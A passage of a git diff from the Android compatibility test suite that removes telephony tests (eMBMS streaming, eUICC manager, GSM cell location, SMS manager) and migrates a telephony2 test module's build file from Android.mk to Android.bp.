-                mStreamingServiceCallback.waitOnBroadcastSignalStrengthUpdated().arg1);
-
-        mMiddlewareControl.fireOnStreamMethodUpdated(StreamingService.BROADCAST_METHOD);
-        assertEquals(StreamingService.BROADCAST_METHOD,
-                mStreamingServiceCallback.waitOnStreamMethodUpdated().arg1);
-    }
-
-    public void testStartStreamingFailure() throws Exception {
-        mMiddlewareControl.forceErrorCode(
-                MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE);
-        mStreamingSession.startStreaming(CtsStreamingService.STREAMING_SERVICE_INFO,
-                mCallbackExecutor, mStreamingServiceCallback);
-        assertEquals(MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE,
-                mCallback.waitOnError().arg1);
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingSessionTest.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingSessionTest.java
deleted file mode 100644
index 0aeb734..0000000
--- a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingSessionTest.java
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.telephony.embms.cts;
-
-import android.telephony.MbmsStreamingSession;
-import android.telephony.cts.embmstestapp.CtsStreamingService;
-import android.telephony.mbms.MbmsErrors;
-import android.telephony.mbms.StreamingServiceInfo;
-
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.List;
-
-public class MbmsStreamingSessionTest extends MbmsStreamingTestBase {
-    public void testDuplicateSession() throws Exception {
-        try {
-            MbmsStreamingSession failure = MbmsStreamingSession.create(
-                    mContext, mCallbackExecutor, mCallback);
-            fail("Duplicate create should've thrown an exception");
-        } catch (IllegalStateException e) {
-            // Succeed
-        }
-    }
-
-    public void testRequestUpdateStreamingServices() throws Exception {
-        List<String> testClasses = Arrays.asList("class1", "class2");
-        mStreamingSession.requestUpdateStreamingServices(testClasses);
-
-        // Make sure we got the streaming services
-        List<StreamingServiceInfo> serviceInfos =
-                (List<StreamingServiceInfo>) mCallback.waitOnStreamingServicesUpdated().arg1;
-        assertEquals(CtsStreamingService.STREAMING_SERVICE_INFO, serviceInfos.get(0));
-        assertEquals(0, mCallback.getNumErrorCalls());
-
-        // Make sure the middleware got the call with the right args
-        List<List<Object>> requestStreamingServicesCalls =
-                getMiddlewareCalls(CtsStreamingService.METHOD_REQUEST_UPDATE_STREAMING_SERVICES);
-        assertEquals(1, requestStreamingServicesCalls.size());
-        assertEquals(3, requestStreamingServicesCalls.get(0).size());
-        List<String> middlewareReceivedServiceClasses =
-                (List<String>) requestStreamingServicesCalls.get(0).get(2);
-        assertEquals(testClasses.size(), middlewareReceivedServiceClasses.size());
-        for (int i = 0; i < testClasses.size(); i++) {
-            assertEquals(testClasses.get(i), middlewareReceivedServiceClasses.get(i));
-        }
-    }
-
-    public void testClose() throws Exception {
-        mStreamingSession.close();
-
-        // Make sure we can't use it anymore
-        try {
-            mStreamingSession.requestUpdateStreamingServices(Collections.emptyList());
-            fail("Streaming session should not be usable after close");
-        } catch (IllegalStateException e) {
-            // Succeed
-        }
-
-        // Make sure that the middleware got the call to close
-        List<List<Object>> closeCalls = getMiddlewareCalls(CtsStreamingService.METHOD_CLOSE);
-        assertEquals(1, closeCalls.size());
-    }
-
-    public void testErrorDelivery() throws Exception {
-        mMiddlewareControl.forceErrorCode(
-                MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE);
-        mStreamingSession.requestUpdateStreamingServices(Collections.emptyList());
-        assertEquals(MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE,
-                mCallback.waitOnError().arg1);
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingTestBase.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingTestBase.java
deleted file mode 100644
index e4bb27b..0000000
--- a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingTestBase.java
+++ /dev/null
@@ -1,152 +0,0 @@
-package android.telephony.embms.cts;
-
-import android.annotation.Nullable;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.ServiceConnection;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.IBinder;
-import android.os.RemoteException;
-import android.telephony.MbmsStreamingSession;
-import android.telephony.cts.embmstestapp.CtsStreamingService;
-import android.telephony.cts.embmstestapp.ICtsStreamingMiddlewareControl;
-import android.telephony.mbms.MbmsStreamingSessionCallback;
-import android.telephony.mbms.StreamingServiceInfo;
-import android.test.InstrumentationTestCase;
-
-import com.android.internal.os.SomeArgs;
-
-import java.util.List;
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.Executor;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-import java.util.stream.Collectors;
-
-public class MbmsStreamingTestBase extends InstrumentationTestCase {
-    protected static final int ASYNC_TIMEOUT = 10000;
-
-    protected static class TestCallback extends MbmsStreamingSessionCallback {
-        private final BlockingQueue<SomeArgs> mErrorCalls = new LinkedBlockingQueue<>();
-        private final BlockingQueue<SomeArgs> mStreamingServicesUpdatedCalls =
-                new LinkedBlockingQueue<>();
-        private final BlockingQueue<SomeArgs> mMiddlewareReadyCalls = new LinkedBlockingQueue<>();
-        private int mNumErrorCalls = 0;
-
-        @Override
-        public void onError(int errorCode, @Nullable String message) {
-            mNumErrorCalls += 1;
-            SomeArgs args = SomeArgs.obtain();
-            args.arg1 = errorCode;
-            args.arg2 = message;
-            mErrorCalls.add(args);
-        }
-
-        @Override
-        public void onStreamingServicesUpdated(List<StreamingServiceInfo> services) {
-            SomeArgs args = SomeArgs.obtain();
-            args.arg1 = services;
-            mStreamingServicesUpdatedCalls.add(args);
-        }
-
-        @Override
-        public void onMiddlewareReady() {
-            mMiddlewareReadyCalls.add(SomeArgs.obtain());
-        }
-
-        public SomeArgs waitOnError() {
-            try {
-                return mErrorCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return null;
-            }
-        }
-
-        public SomeArgs waitOnStreamingServicesUpdated() {
-            try {
-                return mStreamingServicesUpdatedCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return null;
-            }
-        }
-
-        public boolean waitOnMiddlewareReady() {
-            try {
-                return mMiddlewareReadyCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS) != null;
-            } catch (InterruptedException e) {
-                return false;
-            }
-        }
-
-        public int getNumErrorCalls() {
-            return mNumErrorCalls;
-        }
-    }
-
-    Context mContext;
-    HandlerThread mHandlerThread;
-    Executor mCallbackExecutor;
-    ICtsStreamingMiddlewareControl mMiddlewareControl;
-    MbmsStreamingSession mStreamingSession;
-    TestCallback mCallback = new TestCallback();
-
-    @Override
-    public void setUp() throws Exception {
-        mContext = getInstrumentation().getContext();
-        mHandlerThread = new HandlerThread("EmbmsCtsTestWorker");
-        mHandlerThread.start();
-        mCallbackExecutor = (new Handler(mHandlerThread.getLooper()))::post;
-        mCallback = new TestCallback();
-        getControlBinder();
-        setupStreamingSession();
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        mHandlerThread.quit();
-        mStreamingSession.close();
-        mMiddlewareControl.reset();
-    }
-
-    private void setupStreamingSession() throws Exception {
-        mStreamingSession = MbmsStreamingSession.create(
-                mContext, mCallbackExecutor, mCallback);
-        assertNotNull(mStreamingSession);
-        assertTrue(mCallback.waitOnMiddlewareReady());
-        assertEquals(0, mCallback.getNumErrorCalls());
-        List initializeCall = (List) mMiddlewareControl.getStreamingSessionCalls().get(0);
-        assertEquals(CtsStreamingService.METHOD_INITIALIZE, initializeCall.get(0));
-    }
-
-    private void getControlBinder() throws InterruptedException {
-        Intent bindIntent = new Intent(CtsStreamingService.CONTROL_INTERFACE_ACTION);
-        bindIntent.setComponent(CtsStreamingService.CONTROL_INTERFACE_COMPONENT);
-        final CountDownLatch bindLatch = new CountDownLatch(1);
-
-        boolean success = mContext.bindService(bindIntent, new ServiceConnection() {
-            @Override
-            public void onServiceConnected(ComponentName name, IBinder service) {
-                mMiddlewareControl = ICtsStreamingMiddlewareControl.Stub.asInterface(service);
-                bindLatch.countDown();
-            }
-
-            @Override
-            public void onServiceDisconnected(ComponentName name) {
-                mMiddlewareControl = null;
-            }
-        }, Context.BIND_AUTO_CREATE);
-        if (!success) {
-            fail("Failed to get control interface -- bind error");
-        }
-        bindLatch.await(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
-    }
-
-    protected List<List<Object>> getMiddlewareCalls(String methodName) throws RemoteException {
-        return ((List<List<Object>>) mMiddlewareControl.getStreamingSessionCalls()).stream()
-                .filter((elem) -> elem.get(0).equals(methodName))
-                .collect(Collectors.toList());
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/ServiceInfoTest.java b/tests/tests/telephony/src/android/telephony/embms/cts/ServiceInfoTest.java
deleted file mode 100644
index a34d96e..0000000
--- a/tests/tests/telephony/src/android/telephony/embms/cts/ServiceInfoTest.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.telephony.embms.cts;
-
-import android.telephony.mbms.StreamingServiceInfo;
-import android.test.InstrumentationTestCase;
-
-import java.util.ArrayList;
-import java.util.Date;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Locale;
-import java.util.Map;
-
-public class ServiceInfoTest extends InstrumentationTestCase {
-    private static final String ID = "StreamingServiceId";
-    private static final Map<Locale, String> LOCALE_DICT = new HashMap<Locale, String>() {{
-        put(Locale.US, "Entertainment Source 1");
-        put(Locale.CANADA, "Entertainment Source 1, eh?");
-    }};
-    private static final List<Locale> LOCALES = new ArrayList<Locale>() {{
-        add(Locale.CANADA);
-        add(Locale.US);
-    }};
-    private static final String NAME = "class1";
-    private static final Date BEGIN_DATE = new Date(2017, 8, 21, 18, 20, 29);
-    private static final Date END_DATE = new Date(2017, 8, 21, 18, 23, 9);
-    private static final StreamingServiceInfo STREAMING_SERVICE_INFO =
-        new StreamingServiceInfo(LOCALE_DICT, NAME, LOCALES, ID, BEGIN_DATE, END_DATE);
-
-    public void testDataAccess() {
-        assertEquals(LOCALES.size(), STREAMING_SERVICE_INFO.getLocales().size());
-        for (int i = 0; i < LOCALES.size(); i++) {
-            assertTrue(STREAMING_SERVICE_INFO.getLocales().contains(LOCALES.get(i)));
-            assertTrue(LOCALES.contains(STREAMING_SERVICE_INFO.getLocales().get(i)));
-        }
-        assertEquals(LOCALE_DICT.size(), STREAMING_SERVICE_INFO.getNamedContentLocales().size());
-        for (Locale l : STREAMING_SERVICE_INFO.getNamedContentLocales()) {
-            assertTrue(LOCALE_DICT.containsKey(l));
-            assertEquals(LOCALE_DICT.get(l), STREAMING_SERVICE_INFO.getNameForLocale(l).toString());
-        }
-
-        assertEquals(BEGIN_DATE, STREAMING_SERVICE_INFO.getSessionStartTime());
-        assertEquals(END_DATE, STREAMING_SERVICE_INFO.getSessionEndTime());
-        assertEquals(NAME, STREAMING_SERVICE_INFO.getServiceClassName());
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/SomeArgs.java b/tests/tests/telephony/src/android/telephony/embms/cts/SomeArgs.java
deleted file mode 100644
index 1f765bb..0000000
--- a/tests/tests/telephony/src/android/telephony/embms/cts/SomeArgs.java
+++ /dev/null
@@ -1,117 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.telephony.embms.cts;
-
-/**
- * Copied from com.android.internal.os to avoid linking errors.
- */
-public final class SomeArgs {
-
-    private static final int MAX_POOL_SIZE = 10;
-
-    private static SomeArgs sPool;
-    private static int sPoolSize;
-    private static Object sPoolLock = new Object();
-
-    private SomeArgs mNext;
-
-    private boolean mInPool;
-
-    static final int WAIT_NONE = 0;
-    static final int WAIT_WAITING = 1;
-    static final int WAIT_FINISHED = 2;
-    int mWaitState = WAIT_NONE;
-
-    public Object arg1;
-    public Object arg2;
-    public Object arg3;
-    public Object arg4;
-    public Object arg5;
-    public Object arg6;
-    public Object arg7;
-    public Object arg8;
-    public Object arg9;
-    public int argi1;
-    public int argi2;
-    public int argi3;
-    public int argi4;
-    public int argi5;
-    public int argi6;
-
-    private SomeArgs() {
-        /* do nothing - reduce visibility */
-    }
-
-    public static SomeArgs obtain() {
-        synchronized (sPoolLock) {
-            if (sPoolSize > 0) {
-                SomeArgs args = sPool;
-                sPool = sPool.mNext;
-                args.mNext = null;
-                args.mInPool = false;
-                sPoolSize--;
-                return args;
-            } else {
-                return new SomeArgs();
-            }
-        }
-    }
-
-    public void complete() {
-        synchronized (this) {
-            if (mWaitState != WAIT_WAITING) {
-                throw new IllegalStateException("Not waiting");
-            }
-            mWaitState = WAIT_FINISHED;
-            notifyAll();
-        }
-    }
-
-    public void recycle() {
-        if (mInPool) {
-            throw new IllegalStateException("Already recycled.");
-        }
-        if (mWaitState != WAIT_NONE) {
-            return;
-        }
-        synchronized (sPoolLock) {
-            clear();
-            if (sPoolSize < MAX_POOL_SIZE) {
-                mNext = sPool;
-                mInPool = true;
-                sPool = this;
-                sPoolSize++;
-            }
-        }
-    }
-
-    private void clear() {
-        arg1 = null;
-        arg2 = null;
-        arg3 = null;
-        arg4 = null;
-        arg5 = null;
-        arg6 = null;
-        arg7 = null;
-        argi1 = 0;
-        argi2 = 0;
-        argi3 = 0;
-        argi4 = 0;
-        argi5 = 0;
-        argi6 = 0;
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccManagerTest.java b/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccManagerTest.java
deleted file mode 100644
index 70b47f9..0000000
--- a/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccManagerTest.java
+++ /dev/null
@@ -1,267 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.euicc.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.fail;
-
-import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.telephony.euicc.DownloadableSubscription;
-import android.telephony.euicc.EuiccInfo;
-import android.telephony.euicc.EuiccManager;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-@RunWith(AndroidJUnit4.class)
-public class EuiccManagerTest {
-
-    private static final int REQUEST_CODE = 0;
-    private static final int CALLBACK_TIMEOUT_MILLIS = 2000;
-    // starting activities might take extra time
-    private static final int ACTIVITY_CALLBACK_TIMEOUT_MILLIS = 5000;
-    private static final String ACTION_DOWNLOAD_SUBSCRIPTION = "cts_download_subscription";
-    private static final String ACTION_DELETE_SUBSCRIPTION = "cts_delete_subscription";
-    private static final String ACTION_SWITCH_TO_SUBSCRIPTION = "cts_switch_to_subscription";
-    private static final String ACTION_START_TEST_RESOLUTION_ACTIVITY =
-            "cts_start_test_resolution_activity";
-    private static final String ACTIVATION_CODE = "1$LOCALHOST$04386-AGYFT-A74Y8-3F815";
-
-    private static final String[] sCallbackActions =
-            new String[]{
-                    ACTION_DOWNLOAD_SUBSCRIPTION,
-                    ACTION_DELETE_SUBSCRIPTION,
-                    ACTION_SWITCH_TO_SUBSCRIPTION,
-                    ACTION_START_TEST_RESOLUTION_ACTIVITY,
-            };
-
-    private EuiccManager mEuiccManager;
-    private CallbackReceiver mCallbackReceiver;
-
-    @Before
-    public void setUp() throws Exception {
-        mEuiccManager = (EuiccManager) getContext().getSystemService(Context.EUICC_SERVICE);
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        if (mCallbackReceiver != null) {
-            getContext().unregisterReceiver(mCallbackReceiver);
-        }
-    }
-
-    @Test
-    public void testGetEid() {
-        // test disabled state only for now
-        if (mEuiccManager.isEnabled()) {
-            return;
-        }
-
-        // call getEid()
-        String eid = mEuiccManager.getEid();
-
-        // verify result is null
-        assertNull(eid);
-    }
-
-    @Test
-    public void testDownloadSubscription() {
-        // test disabled state only for now
-        if (mEuiccManager.isEnabled()) {
-            return;
-        }
-
-        // set up CountDownLatch and receiver
-        CountDownLatch countDownLatch = new CountDownLatch(1);
-        mCallbackReceiver = new CallbackReceiver(countDownLatch);
-        getContext()
-                .registerReceiver(
-                        mCallbackReceiver, new IntentFilter(ACTION_DOWNLOAD_SUBSCRIPTION));
-
-        // call downloadSubscription()
-        DownloadableSubscription subscription = createDownloadableSubscription();
-        PendingIntent callbackIntent = createCallbackIntent(ACTION_DOWNLOAD_SUBSCRIPTION);
-        mEuiccManager.downloadSubscription(
-                subscription, false /* switchAfterDownload */, callbackIntent);
-
-        // wait for callback
-        try {
-            countDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-        } catch (InterruptedException e) {
-            fail(e.toString());
-        }
-
-        // verify correct result code is received
-        assertEquals(
-                EuiccManager.EMBEDDED_SUBSCRIPTION_RESULT_ERROR, mCallbackReceiver.getResultCode());
-    }
-
-    @Test
-    public void testGetEuiccInfo() {
-        // test disabled state only for now
-        if (mEuiccManager.isEnabled()) {
-            return;
-        }
-
-        // call getEuiccInfo()
-        EuiccInfo euiccInfo = mEuiccManager.getEuiccInfo();
-
-        // verify result is null
-        assertNull(euiccInfo);
-    }
-
-    @Test
-    public void testDeleteSubscription() {
-        // test disabled state only for now
-        if (mEuiccManager.isEnabled()) {
-            return;
-        }
-
-        // set up CountDownLatch and receiver
-        CountDownLatch countDownLatch = new CountDownLatch(1);
-        mCallbackReceiver = new CallbackReceiver(countDownLatch);
-        getContext()
-                .registerReceiver(mCallbackReceiver, new IntentFilter(ACTION_DELETE_SUBSCRIPTION));
-
-        // call deleteSubscription()
-        PendingIntent callbackIntent = createCallbackIntent(ACTION_DELETE_SUBSCRIPTION);
-        mEuiccManager.deleteSubscription(3, callbackIntent);
-
-        // wait for callback
-        try {
-            countDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-        } catch (InterruptedException e) {
-            fail(e.toString());
-        }
-
-        // verify correct result code is received
-        assertEquals(
-                EuiccManager.EMBEDDED_SUBSCRIPTION_RESULT_ERROR, mCallbackReceiver.getResultCode());
-    }
-
-    @Test
-    public void testSwitchToSubscription() {
-        // test disabled state only for now
-        if (mEuiccManager.isEnabled()) {
-            return;
-        }
-
-        // set up CountDownLatch and receiver
-        CountDownLatch countDownLatch = new CountDownLatch(1);
-        mCallbackReceiver = new CallbackReceiver(countDownLatch);
-        getContext()
-                .registerReceiver(
-                        mCallbackReceiver, new IntentFilter(ACTION_SWITCH_TO_SUBSCRIPTION));
-
-        // call deleteSubscription()
-        PendingIntent callbackIntent = createCallbackIntent(ACTION_SWITCH_TO_SUBSCRIPTION);
-        mEuiccManager.switchToSubscription(4, callbackIntent);
-
-        // wait for callback
-        try {
-            countDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-        } catch (InterruptedException e) {
-            fail(e.toString());
-        }
-
-        // verify correct result code is received
-        assertEquals(
-                EuiccManager.EMBEDDED_SUBSCRIPTION_RESULT_ERROR, mCallbackReceiver.getResultCode());
-    }
-
-    @Test
-    public void testStartResolutionActivity() {
-        // set up CountDownLatch and receiver
-        CountDownLatch countDownLatch = new CountDownLatch(1);
-        mCallbackReceiver = new CallbackReceiver(countDownLatch);
-        getContext()
-                .registerReceiver(
-                        mCallbackReceiver, new IntentFilter(ACTION_START_TEST_RESOLUTION_ACTIVITY));
-
-        /*
-         * Start EuiccTestResolutionActivity to test EuiccManager#startResolutionActivity(), since
-         * it requires a foreground activity. EuiccTestResolutionActivity will report the test
-         * result to the callback receiver.
-         */
-        Intent testResolutionActivityIntent =
-                new Intent(getContext(), EuiccTestResolutionActivity.class);
-        PendingIntent callbackIntent = createCallbackIntent(ACTION_START_TEST_RESOLUTION_ACTIVITY);
-        testResolutionActivityIntent.putExtra(
-                EuiccTestResolutionActivity.EXTRA_ACTIVITY_CALLBACK_INTENT, callbackIntent);
-        testResolutionActivityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        getContext().startActivity(testResolutionActivityIntent);
-
-        // wait for callback
-        try {
-            countDownLatch.await(ACTIVITY_CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-        } catch (InterruptedException e) {
-            fail(e.toString());
-        }
-
-        // verify test result reported by EuiccTestResolutionActivity
-        assertEquals(
-                EuiccTestResolutionActivity.RESULT_CODE_TEST_PASSED,
-                mCallbackReceiver.getResultCode());
-    }
-
-    private Context getContext() {
-        return InstrumentationRegistry.getContext();
-    }
-
-    private DownloadableSubscription createDownloadableSubscription() {
-        return DownloadableSubscription.forActivationCode(ACTIVATION_CODE);
-    }
-
-    private PendingIntent createCallbackIntent(String action) {
-        Intent intent = new Intent(action);
-        return PendingIntent.getBroadcast(
-                getContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT);
-    }
-
-    private static class CallbackReceiver extends BroadcastReceiver {
-
-        private CountDownLatch mCountDownLatch;
-
-        public CallbackReceiver(CountDownLatch latch) {
-            mCountDownLatch = latch;
-        }
-
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            for (String callbackAction : sCallbackActions) {
-                if (callbackAction.equals(intent.getAction())) {
-                    int resultCode = getResultCode();
-                    mCountDownLatch.countDown();
-                    break;
-                }
-            }
-        }
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/gsm/cts/GsmCellLocationTest.java b/tests/tests/telephony/src/android/telephony/gsm/cts/GsmCellLocationTest.java
deleted file mode 100644
index 045adb7..0000000
--- a/tests/tests/telephony/src/android/telephony/gsm/cts/GsmCellLocationTest.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.gsm.cts;
-
-import android.os.Bundle;
-import android.telephony.gsm.GsmCellLocation;
-import android.test.AndroidTestCase;
-
-public class GsmCellLocationTest extends AndroidTestCase {
-
-    private static final int CID_VALUE = 20;
-    private static final int LAC_VALUE = 10;
-    private static final int INVALID_CID = -1;
-    private static final int INVALID_LAC = -1;
-
-    public void testGsmCellLocation() {
-        Bundle bundle = new Bundle();
-
-        GsmCellLocation gsmCellLocation = new GsmCellLocation();
-        checkLacAndCid(INVALID_LAC, INVALID_CID, gsmCellLocation);
-
-        gsmCellLocation.setLacAndCid(LAC_VALUE, CID_VALUE);
-        gsmCellLocation.fillInNotifierBundle(bundle);
-        gsmCellLocation = new GsmCellLocation(bundle);
-        checkLacAndCid(LAC_VALUE, CID_VALUE, gsmCellLocation);
-
-        gsmCellLocation.setStateInvalid();
-        checkLacAndCid(INVALID_LAC, INVALID_CID, gsmCellLocation);
-
-        gsmCellLocation.setLacAndCid(LAC_VALUE, CID_VALUE);
-        checkLacAndCid(LAC_VALUE, CID_VALUE, gsmCellLocation);
-
-        assertEquals(LAC_VALUE ^ CID_VALUE, gsmCellLocation.hashCode());
-        assertNotNull(gsmCellLocation.toString());
-
-        GsmCellLocation testGCSEquals = new GsmCellLocation();
-        assertFalse(gsmCellLocation.equals(testGCSEquals));
-        testGCSEquals.setLacAndCid(LAC_VALUE, CID_VALUE);
-        assertTrue(gsmCellLocation.equals(testGCSEquals));
-    }
-
-    private void checkLacAndCid(int expectedLac, int expectedCid, GsmCellLocation gsmCellLocation) {
-        assertEquals(expectedLac, gsmCellLocation.getLac());
-        assertEquals(expectedCid, gsmCellLocation.getCid());
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/gsm/cts/SmsManagerTest.java b/tests/tests/telephony/src/android/telephony/gsm/cts/SmsManagerTest.java
deleted file mode 100644
index 5cd81a3..0000000
--- a/tests/tests/telephony/src/android/telephony/gsm/cts/SmsManagerTest.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.gsm.cts;
-
-import java.util.ArrayList;
-
-import android.app.PendingIntent;
-import android.telephony.gsm.SmsManager;
-
-@SuppressWarnings("deprecation")
-public class SmsManagerTest extends android.telephony.cts.SmsManagerTest {
-
-    @Override
-    public void testGetDefault() {
-        assertNotNull(getSmsManager());
-    }
-
-    @Override
-    protected ArrayList<String> divideMessage(String text) {
-        return getSmsManager().divideMessage(text);
-    }
-
-    private android.telephony.gsm.SmsManager getSmsManager() {
-        return android.telephony.gsm.SmsManager.getDefault();
-    }
-
-    @Override
-    protected void sendMultiPartTextMessage(String destAddr, ArrayList<String> parts,
-            ArrayList<PendingIntent> sentIntents, ArrayList<PendingIntent> deliveryIntents) {
-        getSmsManager().sendMultipartTextMessage(destAddr, null, parts, sentIntents, deliveryIntents);
-    }
-
-    @Override
-    protected void sendDataMessage(String destAddr,short port, byte[] data, PendingIntent sentIntent, PendingIntent deliveredIntent) {
-        getSmsManager().sendDataMessage(destAddr, null, port, data, sentIntent, deliveredIntent);
-    }
-
-    @Override
-    protected void sendTextMessage(String destAddr, String text, PendingIntent sentIntent, PendingIntent deliveredIntent) {
-        getSmsManager().sendTextMessage(destAddr, null, text, sentIntent, deliveredIntent);
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/telephony2/Android.bp b/tests/tests/telephony2/Android.bp
new file mode 100644
index 0000000..def3a75
--- /dev/null
+++ b/tests/tests/telephony2/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsTelephony2TestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+}
diff --git a/tests/tests/telephony2/Android.mk b/tests/tests/telephony2/Android.mk
deleted file mode 100644
index 90cfe97..0000000
--- a/tests/tests/telephony2/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
